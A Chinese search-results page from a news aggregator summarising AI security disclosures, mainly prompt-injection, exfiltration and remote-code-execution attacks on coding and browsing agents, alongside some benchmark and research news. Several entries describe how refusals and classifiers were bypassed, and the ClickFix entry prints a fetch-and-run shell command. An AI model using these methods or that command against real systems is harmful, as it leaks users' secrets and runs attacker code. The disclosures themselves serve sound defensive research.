←搜索结果

按匹配度 · 共 425 条结果 清除搜索

星期四

  1. Johann Rehberger / Embrace The Red

    Google Jules 被曝多个数据外泄漏洞

    安全研究者 Johann Rehberger 披露 Google Jules 存在多个数据外泄漏洞,攻击者可通过间接提示注入让 Jules 把机器上的文件内容发送到第三方服务器。其中一条路径利用 Markdown 图片渲染,另一条滥用 view_text_website 工具,两者都在 Jules 提出计划前就已完成,绕过了人工审批环节。作者建议对图片渲染启用 CSP、为 view_text_website 设置域名白名单或人工审批,并提醒用户谨慎向异步编码智能体提供敏感信息。相关漏洞已于 2025 年 5 月 21 日告知 Google。

    This post explores data exfiltration attacks in Google Jules, an asynchronous coding agent. This is the first of three posts that will highlight my research on Google Jules in May 2025. All information provided was also shared with Google at that time. This first post will focus on data exfiltration, the lethal trifecta. But let’s first talk about Jules’ system prompt. To grab the system prompt I just asked it to write it into a file. What was interesting is that after a few tests, I noticed tha

    匹配字段正文

星期三

  1. Johann Rehberger / Embrace The Red精选

    GitHub Copilot 提示词注入致远程代码执行(CVE-2025-53773)

    安全研究者 Johann Rehberger 披露 GitHub Copilot 与 VS Code 中的提示词注入漏洞 CVE-2025-53773,攻击者可通过源码文件、网页、GitHub issue 或 MCP 返回内容中的注入指令,向 ~/.vscode/settings.json 写入 "chat.tools.autoApprove": true,使 Copilot 进入 YOLO 模式并关闭全部用户确认,进而执行终端命令实现远程代码执行。该漏洞影响 Windows、macOS 和 Linux,作者演示了下载恶意软件、接入远程命令控制服务器,以及通过感染文件在 Git 项目间传播的 AI 病毒思路。作者于 2025 年 6 月 29 日报告,微软在 8 月补丁星期二发布修复;文中还提到 .vscode/tasks.json 和伪造 MCP 服务器等其他可导致代码执行的攻击面。

    pilot and VS Code. It is achieved by placing Copilot into YOLO mode by modifying the project’s settings.json file. As described a few days ago with Amp, a vulnerability pattern in agents that might be overlooked is that if an agent can write to files and modify its own configuration or update security-relevant settings it can lead to remote code execution. This is not uncommon and is an area to always look for when performing a security review. Background Research When looking at VS Code and Git

    匹配字段正文

星期六

  1. Johann Rehberger / Embrace The Red

    OpenHands 的致命三要素:提示注入如何泄露访问 Token

    安全研究者 Johann Rehberger 披露 OpenHands(原 OpenDevin)存在零点击数据外泄漏洞:网页、源码或上传文档中的提示注入可借 Markdown 图片渲染,把容器内的 GITHUB_TOKEN 以 Base64 编码发送到第三方服务器。作者称直接读取 Token 会被模型拒绝,但通过只匹配 ghp_ 等子串并配合编码可绕过,且 OpenHands 对密钥的明文遮蔽也能被绕过。该漏洞于 2025 年 3 月 13 日私下报告给 All-Hands AI,148 天后未获修复,作者遂于 8 月 9 日公开;缓解建议是禁止渲染不可信域名的图片,例如用 Content-Security-Policy 限制图片来源。

    Another day, another AI data exfiltration exploit. Today we talk about OpenHands, formerly referred to as OpenDevin. It’s created by All-Hands AI. The OpenHands agent renders images in chat, which enables zero-click data exfiltration. Simon Willison recently gave this data exfiltration attack pattern a great name: Lethal Trifecta. We discuss this specific image based attack technique frequently. Sometimes a message must be repeated multiple times to raise awareness and become mainstream knowledg

    匹配字段正文

星期五

  1. Johann Rehberger / Embrace The Red

    Devin 的 expose_port 工具可被提示注入利用,将本地端口暴露到公网

    安全研究者 Johann Rehberger 发现 Devin 系统提示词中存在 expose_port 工具,可将 Devbox 的任意本地端口开放到公网,且无需人工确认。他构造多阶段间接提示注入 PoC:先让 Devin 运行 Python 服务器暴露文件系统,再调用 expose_port 获得 .devinapps.com 公网链接,并通过图片 markdown 漏洞把该链接外泄给攻击者,最终攻击者可远程访问服务器文件。该漏洞已于 2025 年 4 月 6 日报告给 Cognition,但后续修复进度询问未获回复,作者建议对敏感工具调用采用带外验证而非依赖模型行为或对话内确认。

    at contains prompt injection instructions. Turns out initially Devin refused these requests, but one trick I learned over the last few months researching browsing and computer use agents is that you can bounce them often off multiple domains or stages and slowly steer them into the “right” direction. So, in order to make it work, I built a multi-stage attack that separates the malicious actions in a way that makes them less obvious, and Devin executed the instructions without objection. Stage 1:

    匹配字段正文

星期四

  1. Johann Rehberger / Embrace The Red

    Devin AI 如何通过多种途径泄露你的密钥

    安全研究者 Johann Rehberger 展示了 Devin 在间接提示词注入下通过多种方式将敏感信息发送到第三方服务器,包括利用 Shell 工具执行 curl 或 Python 脚本、用浏览器访问带数据的攻击者 URL、在聊天框渲染 Markdown 图片,以及把 Jira 和 Slack token 粘贴到第三方网站。作者还测试了 Slack 链接展开与不可见 Unicode Tag 字符(ASCII Smuggling)手法,发现 Cognition 已禁用 Devin 发帖时的链接展开,但用户点击链接仍可能通过 URL 编码泄露隐藏字符。这些漏洞于 2025 年 4 月 6 日报告给 Cognition,超过 120 天未获修复时间表,作者建议默认限制互联网访问并禁止渲染不可信域名的图片和超链接。

    d domains in the chat box. Please see the previous post for details of other recommendations provided to Cognition. Conclusion During a prompt injection attack from untrusted data, an attacker can gain access to secrets and other data on Devin’s Devbox and leak them to an adversary via multiple means. Many vendors of agentic systems over-rely on the model doing the right thing. Agents are naive. Untrusted data, like text on a website, can take control of the AI and send data to external servers.

    匹配字段正文

星期三

  1. Johann Rehberger / Embrace The Red

    我花 500 美元实测 Devin 的提示注入漏洞

    安全研究者 Johann Rehberger 花 500 美元获取 Devin 30 天访问权限,实测了针对 Cognition 旗下 AI 软件工程师 Devin 的提示注入攻击。攻击者只需在 Devin 处理的网站或 GitHub issue 中植入指令,就能诱使它下载并运行恶意二进制文件,从而完全控制 Devin 的 DevBox,将其变成可远程操控的 ZombAI,并窃取其中的密钥。该漏洞于 2025 年 4 月 6 日报告给 Cognition,对方几天后确认,但后续关于修复时间线和协调披露的询问在 120 多天后仍未获回复,作者因此按负责任披露惯例公开。作者建议厂商不要依赖模型行为或对话内确认来保障工具调用安全,而应加入带外验证步骤、默认阻止出站连接,并开发提示注入监控。

    ntioned that the tool could help with debugging the issue, Devin navigates off domain to the attacker-controlled website. Here we go, now Devin has reached the attacker’s website! Agents Love Clicking Links! This is one of the key observations I had when testing various agents by the way, they like clicking links! And once you get them off domain to an attacker-controlled site things get quite easy with prompt injection payloads. Attacks often work at first try basically. Devin, again, follows i

    匹配字段正文

星期二

  1. Johann Rehberger / Embrace The Red

    Amp Code 提示注入可致任意命令执行,Sourcegraph 已修复

    安全研究者 Johann Rehberger 披露 Sourcegraph 旗下编码智能体 Amp 存在提示注入漏洞:Amp 能写入项目目录之外的 VS Code 配置文件 settings.json,从而把 bash 命令加入免审批白名单,或动态添加恶意 MCP 服务器并立即启动,实现任意代码执行。该漏洞于 7 月初发现并报告给 Sourcegraph,Amp 团队在数天内完成修复,用户需升级到最新版本。作者建议 AI 系统不应在未经开发者明确同意的情况下修改关键文件。

    Sandbox-escape-style attacks can happen when an AI is able to modify its own configuration settings, such as by writing to configuration files. That was the case with Amp, an agentic coding tool built by Sourcegraph. The AI coding agent could update its own configuration and: Allowlist bash commands or; Add a malicious MCP server on the fly to run arbitrary code This could have been exploited by the model itself, or during an indirect prompt injection attack as we will demonstrate in this post.

    匹配字段正文

星期一

  1. Johann Rehberger / Embrace The Red

    Cursor IDE 通过 Mermaid 渲染任意外泄数据(CVE-2025-54132)

    安全研究者 Johann Rehberger 披露 Cursor IDE 存在任意数据外泄漏洞 CVE-2025-54132:Cursor 渲染 Mermaid 图表时会向外部服务器发起请求,攻击者可借间接提示词注入把用户记忆或配置文件中的 API key 嵌入图片 URL 外泄,且图表渲染过程不会明显暴露大量数据外传。作者向 Cursor 团队提交了两个演示利用,漏洞于 2025 年 6 月 30 日报告、7 月 7 日修复,随 7 月 29 日起可用的 v1.3 版本发布。

    w are the high level steps to explain the attack chain. POC that when analyzed with Cursor will hijack it to execute malicious instructions: Ask Cursor to explain the file (I used agent mode), this is the query I used: explain the file mermaid-demo.c; Observe prompt injection and data exfiltration. The result was that Cursor retrieved the memories and then rendered the mermaid diagram including the link and data (the user’s memories) in the URL As a demonstration I prepared two examples. First,

    匹配字段正文

星期六

  1. Johann Rehberger / Embrace The Red精选

    把 ChatGPT Codex 变成 ZombAI 智能体:依赖白名单可被提示注入利用

    安全研究者 Johann Rehberger 演示了如何通过间接提示注入把 ChatGPT Codex 变成僵尸网络节点。攻击者利用 Codex 的 Common Dependencies Allowlist 中 71 个域名里的 azure.com,在 Azure 上架设以 cloudapp.azure.com 结尾的 VM 作为 C2 服务器,再在 GitHub issue 中植入恶意提示,使 Codex 下载并执行恶意程序,从而远程控制该机器并读取环境变量、源码等数据。作者于 2025 年 6 月 10 日向 OpenAI 报告,当天被以 Not Applicable 关闭,他建议只使用自定义的精确域名白名单。

    Today we cover ChatGPT Codex as part of the Month of AI Bugs series. ChatGPT Codex is a cloud-based software engineering agent that answers codebase questions, executes code, and drafts pull requests. In particular, this post will demonstrate how Codex is vulnerable to prompt injection, and how the use of the “Common Dependencies Allowlist” for Internet access enables an attacker to recruit ChatGPT Codex into a malware botnet. The ZombAI attack arrives at ChatGPT Codex today! In early June OpenA

    匹配字段正文

星期五

  1. Jan Leike

    Anthropic 研究:对齐审计智能体自动发现问题成功率达 42%

    Anthropic 发布新研究,开发了三个 AI 智能体来自主完成对齐审计任务,测试中成功发现了隐藏目标、构建了安全评估并暴露出令人担忧的行为。Jan Leike 引用该研究指出,今年 3 月发表的论文中由人类团队负责找出被训练成失准模型的问题,如今智能体已能自动完成这一任务,成功率为 42%。

    In March we published a paper on alignment audits: teams of humans were tasked to find the problems in model we trained to be misaligned. Now we have agents that can do it automatically 42% of the time.

    匹配字段正文

星期三

  1. FutureHouse Research精选

    FutureHouse 审计发现约 29% 的 HLE 化学/生物答案与研究文献冲突

    FutureHouse 用开源 PaperQA2 智能体 Crow 审计 Humanity's Last Exam 的纯文本化学与生物子集(321 题),发现 53.3% 的答案理由与已发表证据直接冲突,经独立专家复核后外推约 29.3 ± 3.7%(95% CI)的题目答案被研究文献直接反驳,51.3% 获文献支持,19.3% 属依赖假设或观点的模糊题。团队认为 HLE 要求题目必须难倒前沿模型、且审稿人只需 5 分钟且无需核实正确性的流程,催生了大量 gotcha 式题目。他们已将经 AI 与人类验证的题目子集作为 HLE-Gold-Bio/Chem 发布在 Hugging Face,并建议用它评测相关系统。HLE 团队在 2025 年 9 月 16 日的更新中回应,其独立复核发现 Bio/Chem 子集中约 18% 的题目存在问题,25% 的情况下至少一位审稿人持异议,并计划推出滚动修订流程。

    main expert doing research would find the answer “nectar” to be widely contradicted from the sources mentioned above. Why are we so obsessed with HLE? We build literature research agents at FutureHouse and we’re quite good at it based on internal and external benchmarks . We tried running the text-only chemistry and biology subset of HLE on our systems and were surprised to see so much contradiction in the literature with the ground truth answers in HLE. We audited the HLE validation process usi

    匹配字段正文

星期二

  1. Microsoft AI Blog

    微软 AI 发布 MAI-DxO 诊断编排器与 SD Bench 基准

    微软 AI 发布 Microsoft AI Diagnostic Orchestrator(MAI-DxO),在 304 个 NEJM 病例构成的 Sequential Diagnosis Benchmark(SD Bench)上,搭配 OpenAI o3 时正确诊断率达 85.5%,而 21 位有 5-20 年经验的执业医师平均准确率为 20%。MAI-DxO 可配置成本约束,在测试中同时实现更高诊断准确率和更低检测费用。该工作目前仅为研究演示,尚未作为公开基准或编排器发布,相关方法细节见配套预印本论文,正提交外部同行评审。

    Two people sit across from each other having a conversation. One, with gray hair and a mustache, wears a blue suit; the other, with dark hair and glasses, wears an orange jacket. A notebook and pen are on the table between them.

    at MAI-DxO delivered both higher diagnostic accuracy and lower overall testing costs than physicians or any individual foundation model tested. Comparison of AI powered diagnostic agents by accuracy and average diagnostic test cost per case. Top performing agents appear toward the top left quadrant, reflecting higher accuracy and lower cost. The lower dotted line represents the performance range of the best individual foundation models. The purple line traces the performance of MAI-DxO across di

    匹配字段正文

星期三

  1. Johann Rehberger / Embrace The Red

    安全公告:Anthropic 的 Slack MCP Server 存在数据外泄漏洞

    Johann Rehberger 发布安全公告,指出 Anthropic 已弃用且不再维护的 Slack MCP Server 存在链接展开导致的数据外泄漏洞,该服务器近期每周下载量超过 1.4 万次。攻击者可通过提示注入让 AI 智能体在向 Slack 发帖时把敏感数据附在超链接中,Slack 自动展开链接后数据即被发送到第三方服务器。该漏洞于 2025 年 5 月 27 日报告给 Anthropic,服务器于 5 月 29 日被归档,Anthropic 表示不会发布 CVE,作者建议禁用链接展开或仅使用厂商维护的服务器。

    implementations on Github. One of the reference servers is a Slack MCP Server that is vulnerable to “link unfurling”. We previously described this vulnerability generically for AI agents that post to messaging apps. At a glance it allows an AI agent that posts to Slack or other messaging applications to leak data to third-party servers. Many chat and messenger applications automatically connect to hyperlinks in order to display a preview of the page. Why an Advisory? The reason for publishing th

    匹配字段正文

星期六

  1. Cato AI Labs精选

    Aim Labs 披露 M365 Copilot 零点击漏洞 EchoLeak 的完整攻击链

    Aim Labs 披露了 Microsoft 365 Copilot 中的零点击漏洞 EchoLeak,攻击者只需向受害者发送一封邮件,就能在用户无感知的情况下外泄 Copilot 上下文中的敏感数据。该攻击链由三处漏洞组成,依次绕过 XPIA 提示注入分类器、外部链接与图片的脱敏处理,并借助 SharePoint 和 Teams 的 URL 绕过 CSP 限制。Aim Labs 将核心手法称为 LLM Scope Violation,认为同类设计缺陷也可能存在于其他基于 RAG 的聊天机器人和 AI 智能体中,并称 Microsoft 已确认没有客户受到影响。

    Microsoft’s MSRC team. This attack chain showcases a new exploitation technique we call “LLM Scope Violation” that may have other manifestations in other RAG-based chatbots and AI agents. This represents a major advancement in how threat actors can weaponize generative AI. The chains allow attackers to automatically exfiltrate sensitive and proprietary information from M365 Copilot context, without the user’s awareness or relying on any specific victim behavior. The result is achieved despite M3

    匹配字段正文

星期日

  1. Johann Rehberger / Embrace The Red精选

    AI ClickFix:用 ClickFix 手法劫持计算机操作智能体

    安全研究者 Johann Rehberger 展示了名为 AI ClickFix 的概念验证攻击,把真实世界的 ClickFix 社会工程手法用于计算机操作智能体:网页按钮点击后把 curl -s https://wuzzi.net/computer/oops.html | sh 复制到剪贴板,再诱导智能体打开终端、粘贴并执行。该演示在 claude-3-7-sonnet-20250219 上复现良好、拒绝很少,把提示从 Are you a Human 改成 Are you a Computer、按钮从 Begin Validation 改成 Show Instructions 后拒绝几乎消失。作者认为这类攻击成立的原因是当前模型易受提示注入影响,并可能执行来自不可信内容的图形界面指令,建议部署时设置网络边界、隔离、监控和 EDR 等安全边界。

    RETURN. This is an ongoing industry threat and TTPs have been adjusted to various operating systems. My thought was how would an AI system handle this? How do these TTPs apply to agentic systems? Introducing: The AI ClickFix Attacks I created a few variations, pretty much all of them worked. Let me describe one in detail. This one is very similar to the real world TTP, where malicious instructions are copied into the clipboard using JavaScript when clicking a button on a website: The JavaScript

    匹配字段正文

星期六

  1. Johann Rehberger / Embrace The Red

    MCP 安全风险与利用链:不可信服务器与困惑的客户端

    安全研究者 Johann Rehberger 详细分析 MCP 的安全风险,指出仅将恶意工具服务器加入对话上下文即可劫持会话,无需实际调用工具。他演示了在工具元数据中嵌入隐藏 Unicode Tags 指令的端到端利用链,使 Claude 在用户界面看不到异常的情况下先调用 enter_matrix 工具,再执行用户请求的 message_of_the_day。作者称该 Claude 遵循隐藏 Unicode Tag 指令的问题早在 14 个月前就已负责任披露给 Anthropic,但未被视为安全漏洞,此次 MCP 弱点也在数周前告知 Anthropic 且仅得到可复现的回复。他建议不要随意连接不可信 MCP 或 OpenAPI 工具服务器,并检查代码、接口定义与隐藏指令。

    The Model Context Protocol (MCP) is a protocol definition for how LLM apps/agents can leverage external tools. I have been calling it Model Control Protocol at times, because due to prompt injection, MCP tool servers control the client basically. This post will explain in detail why that is, and I will also share a novel exploit chain. Why MCP - How Is It Different? The main difference to other tool invocation setups, like OpenAPI is that MCP is dynamic. It allows runtime discovery of available

    匹配字段正文

星期一

  1. Johann Rehberger / Embrace The Red

    ChatGPT Operator 提示注入攻击实测与防御分析

    安全研究者 Johann Rehberger 实测发现,ChatGPT Operator 可被网页上的提示注入劫持,先跳转到用户已登录的站点读取邮箱、住址、电话等个人信息,再粘贴进第三方页面直接外传,且无需点击提交按钮。他在 Booking.com、The Guardian、YC Hacker News 等站点上均复现成功,并观察到 OpenAI 的缓解措施包括用户监控、对话内确认请求和提示注入监控,但这些防御是概率性的,通常在危险动作发生前才触发。作者约三周前已向 OpenAI 披露相关绕过细节,并表示该攻击场景目前已不再生效。

    ChatGPT Operator is a research preview agent from OpenAI that lets ChatGPT use a web browser. It uses vision and reasoning abilities to complete tasks like researching topics, booking travel, ordering groceries, or as this post will show, steal your data! Currently, it’s only available for ChatGPT Pro users. I decided to invest $200 for one month to try it out. Risks and Threats OpenAI highlights three risk categories in their Operator System Card: User might be misaligned (the user asks for a h

    匹配字段正文

星期二

  1. Prime Intellect精选

    Prime Intellect 发布 INTELLECT-MATH 数学推理模型与 500 万条推理轨迹数据集

    Prime Intellect 通过 QwQ-32B 生成并校验合成推理轨迹,微调 Qwen-7B-Math 后再用 PRIME-RL 做在线强化学习,训练出 7B 参数数学推理模型 INTELLECT-MATH,其早期 checkpoint 以 47 个 RL step 达到 Eurus-2-7B-PRIME 用 592 步的效果,训练时间缩短 10 倍。团队同时开源代码、权重和 NuminaMath-QwQ-CoT-5M 数据集,该数据集包含 86 万道数学题上的 500 万条经正确性校验的推理轨迹。文章还提出在推理时计算范式下,RL 中大量前向计算会降低通信需求,使全球分布式训练成为可行路径,并计划今年训练 o3 的完全开源复现。

    Distributed Training in the Inference-Time-Compute Paradigm

    del capabilities. To do so, we need to design new recipes to enhance data quality and set up infrastructure that enables data generation in a distributed network of GPUs; Training Agents end-to-end: To fully leverage inference-time compute for scientific progress, we need to teach reasoning models to use tools such as code interpreters and other software. Reinforcement learning offers a great framework to optimize agents with tool-use end to end If this sounds exciting to you, join us. We are a

    匹配字段正文

星期三

  1. Cato AI Labs精选

    Aim Labs 披露 Cursor 经 MCP 自动启动触发远程代码执行漏洞 CurXecute

    Aim Labs 在 Cursor IDE 中发现高危漏洞 CurXecute,可导致完整的远程代码执行,编号 CVE-2025-54135,严重性评级 8.6。攻击路径是:当 Cursor 接入会读取外部内容的 MCP 服务器(如 Slack)时,一条被投毒的提示词就能诱导智能体改写 ~/.cursor/mcp.json;而 Cursor 会立即执行该文件新增的条目,并在用户确认前就写入磁盘,从而以用户权限执行攻击者命令。Cursor 已在 1.3 版本修复,更早版本仍受影响。

    Executive Summary Aim Labs has identified a high severity vulnerability, “CurXecute”, in another popular AI agent – Cursor IDE – enabling full Remote-Code Execution (RCE) Aim Labs flagged the issue to Cursor who acknowledged the flaw. The vulnerability has been given an 8.6 severity rating and is tracked as CVE-2025-54135. (Read the Advisory) Cursor delivered a fix in version 1.3; all earlier releases remain susceptible to remote‑code execution triggered by a single externally‑hosted prompt‑inje

    匹配字段正文

星期一

  1. Anthropic Engineering

    Claude 3.5 Sonnet 在 SWE-bench Verified 达到 49%,Anthropic 公开其智能体脚手架

    升级版 Claude 3.5 Sonnet 在 SWE-bench Verified 上取得 49%,超过此前最先进模型的 45%。Anthropic 介绍了围绕该模型构建的智能体:只用一个提示词、一个执行 bash 命令的 Bash Tool 和一个查看编辑文件的 Edit Tool,让模型自行决定解题步骤,并以字符串替换方式指定文件修改。文中还列出运行该评测的难点,包括单次成功运行常需数百轮交互、超过 100k token,以及隐藏测试和环境配置问题带来的评分偏差。

    the upgraded Claude 3.5 Sonnet , achieved 49% on SWE-bench Verified, a software engineering evaluation, beating the previous state-of-the-art model's 45%. This post explains the "agent" we built around the model, and is intended to help developers get the best possible performance out of Claude 3.5 Sonnet. SWE-bench is an AI evaluation benchmark that assesses a model's ability to complete real-world software engineering tasks. Specifically, it tests how the model can resolve GitHub issues from

    匹配字段正文